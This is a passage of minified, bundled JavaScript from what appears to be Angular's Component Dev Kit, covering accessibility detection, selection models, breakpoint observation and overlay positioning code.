t=this._document.createElement("div");t.style.backgroundColor="rgb(1,2,3)",t.style.position="absolute",this._document.body.appendChild(t);const e=this._document.defaultView||window,n=e&&e.getComputedStyle?e.getComputedStyle(t):null,i=(n&&n.backgroundColor||"").replace(/ /g,"");switch(this._document.body.removeChild(t),i){case"rgb(0,0,0)":return 2;case"rgb(255,255,255)":return 1}return 0}_applyBodyHighContrastModeCssClasses(){if(!this._hasCheckedHighContrastMode&&this._platform.isBrowser&&this._document.body){const t=this._document.body.classList;t.remove(nt),t.remove(tt),t.remove(et),this._hasCheckedHighContrastMode=!0;const e=this.getHighContrastMode();1===e?(t.add(nt),t.add(tt)):2===e&&(t.add(nt),t.add(et))}}}return t.\u0275fac=function(e){return new(e||t)(s.LFG(b.t4),s.LFG(i.K0))},t.\u0275prov=s.Yz7({factory:function(){return new t(s.LFG(b.t4),s.LFG(i.K0))},token:t,providedIn:"root"}),t})(),st=(()=>{class t{constructor(t){t._applyBodyHighContrastModeCssClasses()}}return t.\u0275fac=function(e){return new(e||t)(s.LFG(it))},t.\u0275mod=s.oAB({type:t}),t.\u0275inj=s.cJS({imports:[[b.ud,y.Q8]]}),t})()},772:function(t,e,n){"use strict";n.d(e,{vT:function(){return a},Is:function(){return o}});var i=n(2316),s=n(54364);const r=new i.OlP("cdk-dir-doc",{providedIn:"root",factory:function(){return(0,i.f3M)(s.K0)}});let o=(()=>{class t{constructor(t){if(this.value="ltr",this.change=new i.vpe,t){const e=t.documentElement?t.documentElement.dir:null,n=(t.body?t.body.dir:null)||e;this.value="ltr"===n||"rtl"===n?n:"ltr"}}ngOnDestroy(){this.change.complete()}}return t.\u0275fac=function(e){return new(e||t)(i.LFG(r,8))},t.\u0275prov=i.Yz7({factory:function(){return new t(i.LFG(r,8))},token:t,providedIn:"root"}),t})(),a=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=i.oAB({type:t}),t.\u0275inj=i.cJS({}),t})()},62604:function(t,e,n){"use strict";n.d(e,{P3:function(){return c},Ov:function(){return u},A8:function(){return h},eX:function(){return l},k:function(){return d},Z9:function(){return a}});var i=n(64674),s=n(81134),r=n(79441),o=n(2316);function a(t){return t&&"function"==typeof t.connect}class c extends class{}{constructor(t){super(),this._data=t}connect(){return(0,i.b)(this._data)?this._data:(0,s.of)(this._data)}disconnect(){}}class l{constructor(){this.viewCacheSize=20,this._viewCache=[]}applyChanges(t,e,n,i,s){t.forEachOperation((t,r,o)=>{let a,c;null==t.previousIndex?(a=this._insertView(()=>n(t,r,o),o,e,i(t)),c=a?1:0):null==o?(this._detachAndCacheView(r,e),c=3):(a=this._moveView(r,o,e,i(t)),c=2),s&&s({context:null==a?void 0:a.context,operation:c,record:t})})}detach(){for(const t of this._viewCache)t.destroy();this._viewCache=[]}_insertView(t,e,n,i){const s=this._insertViewFromCache(e,n);if(s)return void(s.context.$implicit=i);const r=t();return n.createEmbeddedView(r.templateRef,r.context,r.index)}_detachAndCacheView(t,e){const n=e.detach(t);this._maybeCacheView(n,e)}_moveView(t,e,n,i){const s=n.get(t);return n.move(s,e),s.context.$implicit=i,s}_maybeCacheView(t,e){if(this._viewCache.length<this.viewCacheSize)this._viewCache.push(t);else{const n=e.indexOf(t);-1===n?t.destroy():e.remove(n)}}_insertViewFromCache(t,e){const n=this._viewCache.pop();return n&&e.insert(n,t),n||null}}class u{constructor(t=!1,e,n=!0){this._multiple=t,this._emitChanges=n,this._selection=new Set,this._deselectedToEmit=[],this._selectedToEmit=[],this.changed=new r.xQ,e&&e.length&&(t?e.forEach(t=>this._markSelected(t)):this._markSelected(e[0]),this._selectedToEmit.length=0)}get selected(){return this._selected||(this._selected=Array.from(this._selection.values())),this._selected}select(...t){this._verifyValueAssignment(t),t.forEach(t=>this._markSelected(t)),this._emitChangeEvent()}deselect(...t){this._verifyValueAssignment(t),t.forEach(t=>this._unmarkSelected(t)),this._emitChangeEvent()}toggle(t){this.isSelected(t)?this.deselect(t):this.select(t)}clear(){this._unmarkAll(),this._emitChangeEvent()}isSelected(t){return this._selection.has(t)}isEmpty(){return 0===this._selection.size}hasValue(){return!this.isEmpty()}sort(t){this._multiple&&this.selected&&this._selected.sort(t)}isMultipleSelection(){return this._multiple}_emitChangeEvent(){this._selected=null,(this._selectedToEmit.length||this._deselectedToEmit.length)&&(this.changed.next({source:this,added:this._selectedToEmit,removed:this._deselectedToEmit}),this._deselectedToEmit=[],this._selectedToEmit=[])}_markSelected(t){this.isSelected(t)||(this._multiple||this._unmarkAll(),this._selection.add(t),this._emitChanges&&this._selectedToEmit.push(t))}_unmarkSelected(t){this.isSelected(t)&&(this._selection.delete(t),this._emitChanges&&this._deselectedToEmit.push(t))}_unmarkAll(){this.isEmpty()||this._selection.forEach(t=>this._unmarkSelected(t))}_verifyValueAssignment(t){}}let h=(()=>{class t{constructor(){this._listeners=[]}notify(t,e){for(let n of this._listeners)n(t,e)}listen(t){return this._listeners.push(t),()=>{this._listeners=this._listeners.filter(e=>t!==e)}}ngOnDestroy(){this._listeners=[]}}return t.\u0275fac=function(e){return new(e||t)},t.\u0275prov=o.Yz7({factory:function(){return new t},token:t,providedIn:"root"}),t})();const d=new o.OlP("_ViewRepeater")},90084:function(t,e,n){"use strict";n.d(e,{A:function(){return x},zL:function(){return c},ZH:function(){return i},jx:function(){return a},yY:function(){return b},JH:function(){return v},uR:function(){return p},K5:function(){return r},hY:function(){return l},Sd:function(){return f},oh:function(){return m},b2:function(){return E},MW:function(){return S},aO:function(){return w},VM:function(){return d},Ku:function(){return h},SV:function(){return _},JU:function(){return o},L_:function(){return u},Mf:function(){return s},LH:function(){return g},Z:function(){return C},xE:function(){return y},Vb:function(){return k}});const i=8,s=9,r=13,o=16,a=17,c=18,l=27,u=32,h=33,d=34,p=35,f=36,m=37,g=38,_=39,v=40,b=46,y=48,w=57,x=65,C=90,S=91,E=224;function k(t,...e){return e.length?e.some(e=>t[e]):t.altKey||t.shiftKey||t.ctrlKey||t.metaKey}},66883:function(t,e,n){"use strict";n.d(e,{Yg:function(){return y},u3:function(){return x}});var i=n(2316),s=n(20657),r=n(79441),o=n(79097),a=n(83972),c=n(89544),l=n(53466),u=n(84515),h=n(80639),d=n(33927),p=n(1143),f=n(22663),m=n(36145);const g=new Set;let _,v=(()=>{class t{constructor(t){this._platform=t,this._matchMedia=this._platform.isBrowser&&window.matchMedia?window.matchMedia.bind(window):b}matchMedia(t){return(this._platform.WEBKIT||this._platform.BLINK)&&function(t){if(!g.has(t))try{_||(_=document.createElement("style"),_.setAttribute("type","text/css"),document.head.appendChild(_)),_.sheet&&(_.sheet.insertRule(`@media ${t} {body{ }}`,0),g.add(t))}catch(e){console.error(e)}}(t),this._matchMedia(t)}}return t.\u0275fac=function(e){return new(e||t)(i.LFG(m.t4))},t.\u0275prov=i.Yz7({factory:function(){return new t(i.LFG(m.t4))},token:t,providedIn:"root"}),t})();function b(t){return{matches:"all"===t||""===t,media:t,addListener:()=>{},removeListener:()=>{}}}let y=(()=>{class t{constructor(t,e){this._mediaMatcher=t,this._zone=e,this._queries=new Map,this._destroySubject=new r.xQ}ngOnDestroy(){this._destroySubject.next(),this._destroySubject.complete()}isMatched(t){return w((0,s.Eq)(t)).some(t=>this._registerQuery(t).mql.matches)}observe(t){const e=w((0,s.Eq)(t)).map(t=>this._registerQuery(t).observable);let n=(0,o.aj)(e);return n=(0,a.z)(n.pipe((0,l.q)(1)),n.pipe((0,u.T)(1),(0,h.b)(0))),n.pipe((0,d.U)(t=>{const e={matches:!1,breakpoints:{}};return t.forEach(({matches:t,query:n})=>{e.matches=e.matches||t,e.breakpoints[n]=t}),e}))}_registerQuery(t){if(this._queries.has(t))return this._queries.get(t);const e=this._mediaMatcher.matchMedia(t),n={observable:new c.y(t=>{const n=e=>this._zone.run(()=>t.next(e));return e.addListener(n),()=>{e.removeListener(n)}}).pipe((0,p.O)(e),(0,d.U)(({matches:e})=>({query:t,matches:e})),(0,f.R)(this._destroySubject)),mql:e};return this._queries.set(t,n),n}}return t.\u0275fac=function(e){return new(e||t)(i.LFG(v),i.LFG(i.R0b))},t.\u0275prov=i.Yz7({factory:function(){return new t(i.LFG(v),i.LFG(i.R0b))},token:t,providedIn:"root"}),t})();function w(t){return t.map(t=>t.split(",")).reduce((t,e)=>t.concat(e)).map(t=>t.trim())}const x={XSmall:"(max-width: 599.98px)",Small:"(min-width: 600px) and (max-width: 959.98px)",Medium:"(min-width: 960px) and (max-width: 1279.98px)",Large:"(min-width: 1280px) and (max-width: 1919.98px)",XLarge:"(min-width: 1920px)",Handset:"(max-width: 599.98px) and (orientation: portrait), (max-width: 959.98px) and (orientation: landscape)",Tablet:"(min-width: 600px) and (max-width: 839.98px) and (orientation: portrait), (min-width: 960px) and (max-width: 1279.98px) and (orientation: landscape)",Web:"(min-width: 840px) and (orientation: portrait), (min-width: 1280px) and (orientation: landscape)",HandsetPortrait:"(max-width: 599.98px) and (orientation: portrait)",TabletPortrait:"(min-width: 600px) and (max-width: 839.98px) and (orientation: portrait)",WebPortrait:"(min-width: 840px) and (orientation: portrait)",HandsetLandscape:"(max-width: 959.98px) and (orientation: landscape)",TabletLandscape:"(min-width: 960px) and (max-width: 1279.98px) and (orientation: landscape)",WebLandscape:"(min-width: 1280px) and (orientation: landscape)"}},90851:function(t,e,n){"use strict";n.d(e,{wD:function(){return u},yq:function(){return l},Q8:function(){return h}});var i=n(20657),s=n(2316),r=n(89544),o=n(79441),a=n(80639);let c=(()=>{class t{create(t){return"undefined"==typeof MutationObserver?null:new MutationObserver(t)}}return t.\u0275fac=function(e){return new(e||t)},t.\u0275prov=s.Yz7({factory:function(){return new t},token:t,providedIn:"root"}),t})(),l=(()=>{class t{constructor(t){this._mutationObserverFactory=t,this._observedElements=new Map}ngOnDestroy(){this._observedElements.forEach((t,e)=>this._cleanupObserver(e))}observe(t){const e=(0,i.fI)(t);return new r.y(t=>{const n=this._observeElement(e).subscribe(t);return()=>{n.unsubscribe(),this._unobserveElement(e)}})}_observeElement(t){if(this._observedElements.has(t))this._observedElements.get(t).count++;else{const e=new o.xQ,n=this._mutationObserverFactory.create(t=>e.next(t));n&&n.observe(t,{characterData:!0,childList:!0,subtree:!0}),this._observedElements.set(t,{observer:n,stream:e,count:1})}return this._observedElements.get(t).stream}_unobserveElement(t){this._observedElements.has(t)&&(this._observedElements.get(t).count--,this._observedElements.get(t).count||this._cleanupObserver(t))}_cleanupObserver(t){if(this._observedElements.has(t)){const{observer:e,stream:n}=this._observedElements.get(t);e&&e.disconnect(),n.complete(),this._observedElements.delete(t)}}}return t.\u0275fac=function(e){return new(e||t)(s.LFG(c))},t.\u0275prov=s.Yz7({factory:function(){return new t(s.LFG(c))},token:t,providedIn:"root"}),t})(),u=(()=>{class t{constructor(t,e,n){this._contentObserver=t,this._elementRef=e,this._ngZone=n,this.event=new s.vpe,this._disabled=!1,this._currentSubscription=null}get disabled(){return this._disabled}set disabled(t){this._disabled=(0,i.Ig)(t),this._disabled?this._unsubscribe():this._subscribe()}get debounce(){return this._debounce}set debounce(t){this._debounce=(0,i.su)(t),this._subscribe()}ngAfterContentInit(){!this._currentSubscription&&!this.disabled&&this._subscribe()}ngOnDestroy(){this._unsubscribe()}_subscribe(){this._unsubscribe();const t=this._contentObserver.observe(this._elementRef);this._ngZone.runOutsideAngular(()=>{this._currentSubscription=(this.debounce?t.pipe((0,a.b)(this.debounce)):t).subscribe(this.event)})}_unsubscribe(){var t;null===(t=this._currentSubscription)||void 0===t||t.unsubscribe()}}return t.\u0275fac=function(e){return new(e||t)(s.Y36(l),s.Y36(s.SBq),s.Y36(s.R0b))},t.\u0275dir=s.lG2({type:t,selectors:[["","cdkObserveContent",""]],inputs:{disabled:["cdkObserveContentDisabled","disabled"],debounce:"debounce"},outputs:{event:"cdkObserveContent"},exportAs:["cdkObserveContent"]}),t})(),h=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=s.oAB({type:t}),t.\u0275inj=s.cJS({providers:[c]}),t})()},6199:function(t,e,n){"use strict";n.d(e,{pI:function(){return J},xu:function(){return W},_G:function(){return F},aV:function(){return $},X_:function(){return T},Xj:function(){return N},U8:function(){return K}});var i=n(22102),s=n(2316),r=n(36145),o=n(772),a=n(54364),c=n(20657),l=n(40912),u=n(79441),h=n(11318),d=n(89919),p=n(71003);class f{constructor(t,e){this.predicate=t,this.inclusive=e}call(t,e){return e.subscribe(new m(t,this.predicate,this.inclusive))}}class m extends p.L{constructor(t,e,n){super(t),this.predicate=e,this.inclusive=n,this.index=0}_next(t){const e=this.destination;let n;try{n=this.predicate(t,this.index++)}catch(i){return void e.error(i)}this.nextOrComplete(t,n)}nextOrComplete(t,e){const n=this.destination;Boolean(e)?n.next(t):(this.inclusive&&n.next(t),n.complete())}}var g=n(53466),_=n(22663),v=n(90084);const b=(0,r.Mq)();class y{constructor(t,e){this._viewportRuler=t,this._previousHTMLStyles={top:"",left:""},this._isEnabled=!1,this._document=e}attach(){}enable(){if(this._canBeEnabled()){const t=this._document.documentElement;this._previousScrollPosition=this._viewportRuler.getViewportScrollPosition(),this._previousHTMLStyles.left=t.style.left||"",this._previousHTMLStyles.top=t.style.top||"",t.style.left=(0,c.HM)(-this._previousScrollPosition.left),t.style.top=(0,c.HM)(-this._previousScrollPosition.top),t.classList.add("cdk-global-scrollblock"),this._isEnabled=!0}}disable(){if(this._isEnabled){const t=this._document.documentElement,e=t.style,n=this._document.body.style,i=e.scrollBehavior||"",s=n.scrollBehavior||"";this._isEnabled=!1,e.left=this._previousHTMLStyles.left,e.top=this._previousHTMLStyles.top,t.classList.remove("cdk-global-scrollblock"),b&&(e.scrollBehavior=n.scrollBehavior="auto"),window.scroll(this._previousScrollPosition.left,this._previousScrollPosition.top),b&&(e.scrollBehavior=i,n.scrollBehavior=s)}}_canBeEnabled(){if(this._document.documentElement.classList.contains("cdk-global-scrollblock")||this._isEnabled)return!1;const t=this._document.body,e=this._viewportRuler.getViewportSize();return t.scrollHeight>e.height||t.scrollWidth>e.width}}class w{constructor(t,e,n,i){this._scrollDispatcher=t,this._ngZone=e,this._viewportRuler=n,this._config=i,this._scrollSubscription=null,this._detach=()=>{this.disable(),this._overlayRef.hasAttached()&&this._ngZone.run(()=>this._overlayRef.detach())}}attach(t){this._overlayRef=t}enable(){if(this._scrollSubscription)return;const t=this._scrollDispatcher.scrolled(0);this._config&&this._config.threshold&&this._config.threshold>1?(this._initialScrollPosition=this._viewportRuler.getViewportScrollPosition().top,this._scrollSubscription=t.subscribe(()=>{const t=this._viewportRuler.getViewportScrollPosition().top;Math.abs(t-this._initialScrollPosition)>this._config.threshold?this._detach():this._overlayRef.updatePosition()})):this._scrollSubscription=t.subscribe(this._detach)}disable(){this._scrollSubscription&&(this._scrollSubscription.unsubscribe(),this._scrollSubscription=null)}detach(){this.disable(),this._overlayRef=null}}class x{enable(){}disable(){}attach(){}}function C(t,e){return e.some(e=>t.bottom<e.top||t.top>e.bottom||t.right<e.left||t.left>e.right)}function S(t,e){return e.some(e=>t.top<e.top||t.bottom>e.bottom||t.left<e.left||t.right>e.right)}class E{constructor(t,e,n,i){this._scrollDispatcher=t,this._viewportRuler=e,this._ngZone=n,this._config=i,this._scrollSubscription=null}attach(t){this._overlayRef=t}enable(){this._scrollSubscription||(this._scrollSubscription=this._scrollDispatcher.scrolled(this._config?this._config.scrollThrottle:0).subscribe(()=>{if(this._overlayRef.updatePosition(),this._config&&this._config.autoClose){const t=this._overlayRef.overlayElement.getBoundingClientRect(),{width:e,height:n}=this._viewportRuler.getViewportSize();C(t,[{width:e,height:n,bottom:n,right:e,top:0,left:0}])&&(this.disable(),this._ngZone.run(()=>this._overlayRef.detach()))}}))}disable(){this._scrollSubscription&&(this._scrollSubscription.unsubscribe(),this._scrollSubscription=null)}detach(){this.disable(),this._overlayRef=null}}let k=(()=>{class t{constructor(t,e,n,i){this._scrollDispatcher=t,this._viewportRuler=e,this._ngZone=n,this.noop=()=>new x,this.close=t=>new w(this._scrollDispatcher,this._ngZone,this._viewportRuler,t),this.block=()=>new y(this._viewportRuler,this._document),this.reposition=t=>new E(this._scrollDispatcher,this._viewportRuler,this._ngZone,t),this._document=i}}return t.\u0275fac=function(e){return new(e||t)(s.LFG(i.mF),s.LFG(i.rL),s.LFG(s.R0b),s.LFG(a.K0))},t.\u0275prov=s.Yz7({factory:function(){return new t(s.LFG(i.mF),s.LFG(i.rL),s.LFG(s.R0b),s.LFG(a.K0))},token:t,providedIn:"root"}),t})();class T{constructor(t){if(this.scrollStrategy=new x,this.panelClass="",this.hasBackdrop=!1,this.backdropClass="cdk-overlay-dark-backdrop",this.disposeOnNavigation=!1,t){const e=Object.keys(t);for(const n of e)void 0!==t[n]&&(this[n]=t[n])}}}class A{constructor(t,e,n,i,s){this.offsetX=n,this.offsetY=i,this.panelClass=s,this.originX=t.originX,this.originY=t.originY,this.overlayX=e.overlayX,this.overlayY=e.overlayY}}class I{constructor(t,e){this.connectionPair=t,this.scrollableViewProperties=e}}let O=(()=>{class t{constructor(t){this._attachedOverlays=[],this._document=t}ngOnDestroy(){this.detach()}add(t){this.remove(t),this._attachedOverlays.push(t)}remove(t){const e=this._attachedOverlays.indexOf(t);e>-1&&this._attachedOverlays.splice(e,1),0===this._attachedOverlays.length&&this.detach()}}return t.\u0275fac=function(e){return new(e||t)(s.LFG(a.K0))},t.\u0275prov=s.Yz7({factory:function(){return new t(s.LFG(a.K0))},token:t,providedIn:"root"}),t})(),R=(()=>{class t extends O{constructor(t){super(t),this._keydownListener=t=>{const e=this._attachedOverlays;for(let n=e.length-1;n>-1;n--)if(e[n]._keydownEvents.observers.length>0){e[n]._keydownEvents.next(t);break}}}add(t){super.add(t),this._isAttached||(this._document.body.addEventListener("keydown",this._keydownListener),this._isAttached=!0)}detach(){this._isAttached&&(this._document.body.removeEventListener("keydown",this._keydownListener),this._isAttached=!1)}}return t.\u0275fac=function(e){return new(e||t)(s.LFG(a.K0))},t.\u0275prov=s.Yz7({factory:function(){return new t(s.LFG(a.K0))},token:t,providedIn:"root"}),t})(),P=(()=>{class t extends O{constructor(t,e){super(t),this._platform=e,this._cursorStyleIsSet=!1,this._pointerDownListener=t=>{this._pointerDownEventTarget=(0,r.sA)(t)},this._clickListener=t=>{const e=(0,r.sA)(t),n="click"===t.type&&this._pointerDownEventTarget?this._pointerDownEventTarget:e;this._pointerDownEventTarget=null;const i=this._attachedOverlays.slice();for(let s=i.length-1;s>-1;s--){const r=i[s];if(!(r._outsidePointerEvents.observers.length<1)&&r.hasAttached()){if(r.overlayElement.contains(e)||r.overlayElement.contains(n))break;r._outsidePointerEvents.next(t)}}}}add(t){if(super.add(t),!this._isAttached){const t=this._document.body;t.addEventListener("pointerdown",this._pointerDownListener,!0),t.addEventListener("click",this._clickListener,!0),t.addEventListener("auxclick",this._clickListener,!0),t.addEventListener("contextmenu",this._clickListener,!0),this._platform.IOS&&!this._cursorStyleIsSet&&(this._cursorOriginalValue=t.style.cursor,t.style.cursor="pointer",this._cursorStyleIsSet=!0),this._isAttached=!0}}detach(){if(this._isAttached){const t=this._document.body;t.removeEventListener("pointerdown",this._pointerDownListener,!0),t.removeEventListener("click",this._clickListener,!0),t.removeEventListener("auxclick",this._clickListener,!0),t.removeEventListener("contextmenu",this._clickListener,!0),this._platform.IOS&&this._cursorStyleIsSet&&(t.style.cursor=this._cursorOriginalValue,this._cursorStyleIsSet=!1),this._isAttached=!1}}}return t.\u0275fac=function(e){return new(e||t)(s.LFG(a.K0),s.LFG(r.t4))},t.\u0275prov=s.Yz7({factory:function(){return new t(s.LFG(a.K0),s.LFG(r.t4))},token:t,providedIn:"root"}),t})(),N=(()=>{class t{constructor(t,e){this._platform=e,this._document=t}ngOnDestroy(){const t=this._containerElement;t&&t.parentNode&&t.parentNode.removeChild(t)}getContainerElement(){return this._containerElement||this._createContainer(),this._containerElement}_createContainer(){const t="cdk-overlay-container";if(this._platform.isBrowser||(0,r.Oy)()){const e=this._document.querySelectorAll(`.${t}[platform="server"], .${t}[platform="test"]`);for(let t=0;t<e.length;t++)e[t].parentNode.removeChild(e[t])}const e=this._document.createElement("div");e.classList.add(t),(0,r.Oy)()?e.setAttribute("platform","test"):this._platform.isBrowser||e.setAttribute("platform","server"),this._document.body.appendChild(e),this._containerElement=e}}return t.\u0275fac=function(e){return new(e||t)(s.LFG(a.K0),s.LFG(r.t4))},t.\u0275prov=s.Yz7({factory:function(){return new t(s.LFG(a.K0),s.LFG(r.t4))},token:t,providedIn:"root"}),t})();class D{constructor(t,e,n,i,s,r,o,a,c){this._portalOutlet=t,this._host=e,this._pane=n,this._config=i,this._ngZone=s,this._keyboardDispatcher=r,this._document=o,this._location=a,this._outsideClickDispatcher=c,this._backdropElement=null,this._backdropClick=new u.xQ,this._attachments=new u.xQ,this._detachments=new u.xQ,this._locationChanges=h.w.EMPTY,this._backdropClickHandler=t=>this._backdropClick.next(t),this._keydownEvents=new u.xQ,this._outsidePointerEvents=new u.xQ,i.scrollStrategy&&(this._scrollStrategy=i.scrollStrategy,this._scrollStrategy.attach(this)),this._positionStrategy=i.positionStrategy}get overlayElement(){return this._pane}get backdropElement(){return this._backdropElement}get hostElement(){return this._host}attach(t){let e=this._portalOutlet.attach(t);return!this._host.parentElement&&this._previousHostParent&&this._previousHostParent.appendChild(this._host),this._positionStrategy&&this._positionStrategy.attach(this),this._updateStackingOrder(),this._updateElementSize(),this._updateElementDirection(),this._scrollStrategy&&this._scrollStrategy.enable(),this._ngZone.onStable.pipe((0,g.q)(1)).subscribe(()=>{this.hasAttached()&&this.updatePosition()}),this._togglePointerEvents(!0),this._config.hasBackdrop&&this._attachBackdrop(),this._config.panelClass&&this._toggleClasses(this._pane,this._config.panelClass,!0),this._attachments.next(),this._keyboardDispatcher.add(this),this._config.disposeOnNavigation&&(this._locationChanges=this._location.subscribe(()=>this.dispose())),this._outsideClickDispatcher.add(this),e}detach(){if(!this.hasAttached())return;this.detachBackdrop(),this._togglePointerEvents(!1),this._positionStrategy&&this._positionStrategy.detach&&this._positionStrategy.detach(),this._scrollStrategy&&this._scrollStrategy.disable();const t=this._portalOutlet.detach();return this._detachments.next(),this._keyboardDispatcher.remove(this),this._detachContentWhenStable(),this._locationChanges.unsubscribe(),this._outsideClickDispatcher.remove(this),t}dispose(){const t=this.hasAttached();this._positionStrategy&&this._positionStrategy.dispose(),this._disposeScrollStrategy(),this._disposeBackdrop(this._backdropElement),this._locationChanges.unsubscribe(),this._keyboardDispatcher.remove(this),this._portalOutlet.dispose(),this._attachments.complete(),this._backdropClick.complete(),this._keydownEvents.complete(),this._outsidePointerEvents.complete(),this._outsideClickDispatcher.remove(this),this._host&&this._host.parentNode&&(this._host.parentNode.removeChild(this._host),this._host=null),this._previousHostParent=this._pane=null,t&&this._detachments.next(),this._detachments.complete()}hasAttached(){return this._portalOutlet.hasAttached()}backdropClick(){return this._backdropClick}attachments(){return this._attachments}detachments(){return this._detachments}keydownEvents(){return this._keydownEvents}outsidePointerEvents(){return this._outsidePointerEvents}getConfig(){return this._config}updatePosition(){this._positionStrategy&&this._positionStrategy.apply()}updatePositionStrategy(t){t!==this._positionStrategy&&(this._positionStrategy&&this._positionStrategy.dispose(),this._positionStrategy=t,this.hasAttached()&&(t.attach(this),this.updatePosition()))}updateSize(t){this._config=Object.assign(Object.assign({},this._config),t),this._updateElementSize()}setDirection(t){this._config=Object.assign(Object.assign({},this._config),{direction:t}),this._updateElementDirection()}addPanelClass(t){this._pane&&this._toggleClasses(this._pane,t,!0)}removePanelClass(t){this._pane&&this._toggleClasses(this._pane,t,!1)}getDirection(){const t=this._config.direction;return t?"string"==typeof t?t:t.value:"ltr"}updateScrollStrategy(t){t!==this._scrollStrategy&&(this._disposeScrollStrategy(),this._scrollStrategy=t,this.hasAttached()&&(t.attach(this),t.enable()))}_updateElementDirection(){this._host.setAttribute("dir",this.getDirection())}_updateElementSize(){if(!this._pane)return;const t=this._pane.style;t.width=(0,c.HM)(this._config.width),t.height=(0,c.HM)(this._config.height),t.minWidth=(0,c.HM)(this._config.minWidth),t.minHeight=(0,c.HM)(this._config.minHeight),t.maxWidth=(0,c.HM)(this._config.maxWidth),t.maxHeight=(0,c.HM)(this._config.maxHeight)}_togglePointerEvents(t){this._pane.style.pointerEvents=t?"":"none"}_attachBackdrop(){const t="cdk-overlay-backdrop-showing";this._backdropElement=this._document.createElement("div"),this._backdropElement.classList.add("cdk-overlay-backdrop"),this._config.backdropClass&&this._toggleClasses(this._backdropElement,this._config.backdropClass,!0),this._host.parentElement.insertBefore(this._backdropElement,this._host),this._backdropElement.addEventListener("click",this._backdropClickHandler),"undefined"!=typeof requestAnimationFrame?this._ngZone.runOutsideAngular(()=>{requestAnimationFrame(()=>{this._backdropElement&&this._backdropElement.classList.add(t)})}):this._backdropElement.classList.add(t)}_updateStackingOrder(){this._host.nextSibling&&this._host.parentNode.appendChild(this._host)}detachBackdrop(){const t=this._backdropElement;if(!t)return;let e;const n=()=>{t&&(t.removeEventListener("click",this._backdropClickHandler),t.removeEventListener("transitionend",n),this._disposeBackdrop(t)),this._config.backdropClass&&this._toggleClasses(t,this._config.backdropClass,!1),clearTimeout(e)};t.classList.remove("cdk-overlay-backdrop-showing"),this._ngZone.runOutsideAngular(()=>{t.addEventListener("transitionend",n)}),t.style.pointerEvents="none",e=this._ngZone.runOutsideAngular(()=>setTimeout(n,500))}_toggleClasses(t,e,n){const i=t.classList;(0,c.Eq)(e).forEach(t=>{t&&(n?i.add(t):i.remove(t))})}_detachContentWhenStable(){this._ngZone.runOutsideAngular(()=>{const t=this._ngZone.onStable.pipe((0,_.R)((0,d.T)(this._attachments,this._detachments))).subscribe(()=>{(!this._pane||!this._host||0===this._pane.children.length)&&(this._pane&&this._config.panelClass&&this._toggleClasses(this._pane,this._config.panelClass,!1),this._host&&this._host.parentElement&&(this._previousHostParent=this._host.parentElement,this._previousHostParent.removeChild(this._host)),t.unsubscribe())})})}_disposeScrollStrategy(){const t=this._scrollStrategy;t&&(t.disable(),t.detach&&t.detach())}_disposeBackdrop(t){t&&(t.parentNode&&t.parentNode.removeChild(t),this._backdropElement===t&&(this._backdropElement=null))}}const L="cdk-overlay-connected-position-bounding-box",M=/([A-Za-z%]+)$/;class F{constructor(t,e,n,i,s){this._viewportRuler=e,this._document=n,this._platform=i,this._overlayContainer=s,this._lastBoundingBoxSize={width:0,height:0},this._isPushed=!1,this._canPush=!0,this._growAfterOpen=!1,this._hasFlexibleDimensions=!0,this._positionLocked=!1,this._viewportMargin=0,this._scrollables=[],this._preferredPositions=[],this._positionChanges=new u.xQ,this._resizeSubscription=h.w.EMPTY,this._offsetX=0,this._offsetY=0,this._appliedPanelClasses=[],this.positionChanges=this._positionChanges,this.setOrigin(t)}get positions(){return this._preferredPositions}attach(t){this._validatePositions(),t.hostElement.classList.add(L),this._overlayRef=t,this._boundingBox=t.hostElement,this._pane=t.overlayElement,this._isDisposed=!1,this._isInitialRender=!0,this._lastPosition=null,this._resizeSubscription.unsubscribe(),this._resizeSubscription=this._viewportRuler.change().subscribe(()=>{this._isInitialRender=!0,this.apply()})}apply(){if(this._isDisposed||!this._platform.isBrowser)return;if(!this._isInitialRender&&this._positionLocked&&this._lastPosition)return void this.reapplyLastPosition();this._clearPanelClasses(),this._resetOverlayElementStyles(),this._resetBoundingBoxStyles(),this._viewportRect=this._getNarrowedViewportRect(),this._originRect=this._getOriginRect(),this._overlayRect=this._pane.getBoundingClientRect();const t=this._originRect,e=this._overlayRect,n=this._viewportRect,i=[];let s;for(let r of this._preferredPositions){let o=this._getOriginPoint(t,r),a=this._getOverlayPoint(o,e,r),c=this._getOverlayFit(a,e,n,r);if(c.isCompletelyWithinViewport)return this._isPushed=!1,void this._applyPosition(r,o);this._canFitWithFlexibleDimensions(c,a,n)?i.push({position:r,origin:o,overlayRect:e,boundingBoxRect:this._calculateBoundingBoxRect(o,r)}):(!s||s.overlayFit.visibleArea<c.visibleArea)&&(s={overlayFit:c,overlayPoint:a,originPoint:o,position:r,overlayRect:e})}if(i.length){let t=null,e=-1;for(const n of i){const i=n.boundingBoxRect.width*n.boundingBoxRect.height*(n.position.weight||1);i>e&&(e=i,t=n)}return this._isPushed=!1,void this._applyPosition(t.position,t.origin)}if(this._canPush)return this._isPushed=!0,void this._applyPosition(s.position,s.originPoint);this._applyPosition(s.position,s.originPoint)}detach(){this._clearPanelClasses(),this._lastPosition=null,this._previousPushAmount=null,this._resizeSubscription.unsubscribe()}dispose(){this._isDisposed||(this._boundingBox&&U(this._boundingBox.style,{top:"",left:"",right:"",bottom:"",height:"",width:"",alignItems:"",justifyContent:""}),this._pane&&this._resetOverlayElementStyles(),this._overlayRef&&this._overlayRef.hostElement.classList.remove(L),this.detach(),this._positionChanges.complete(),this._overlayRef=this._boundingBox=null,this._isDisposed=!0)}reapplyLastPosition(){if(!this._isDisposed&&(!this._platform||this._platform.isBrowser)){this._originRect=this._getOriginRect(),this._overlayRect=this._pane.getBoundingClientRect(),this._viewportRect=this._getNarrowedViewportRect();const t=this._lastPosition||this._preferredPositions[0],e=this._getOriginPoint(this._originRect,t);this._applyPosition(t,e)}}withScrollableContainers(t){return this._scrollables=t,this}withPositions(t){return this._preferredPositions=t,-1===t.indexOf(this._lastPosition)&&(this._lastPosition=null),this._validatePositions(),this}withViewportMargin(t){return this._viewportMargin=t,this}withFlexibleDimensions(t=!0){return this._hasFlexibleDimensions=t,this}withGrowAfterOpen(t=!0){return this._growAfterOpen=t,this}withPush(t=!0){return this._canPush=t,this}withLockedPosition(t=!0){return this._positionLocked=t,this}setOrigin(t){return this._origin=t,this}withDefaultOffsetX(t){return 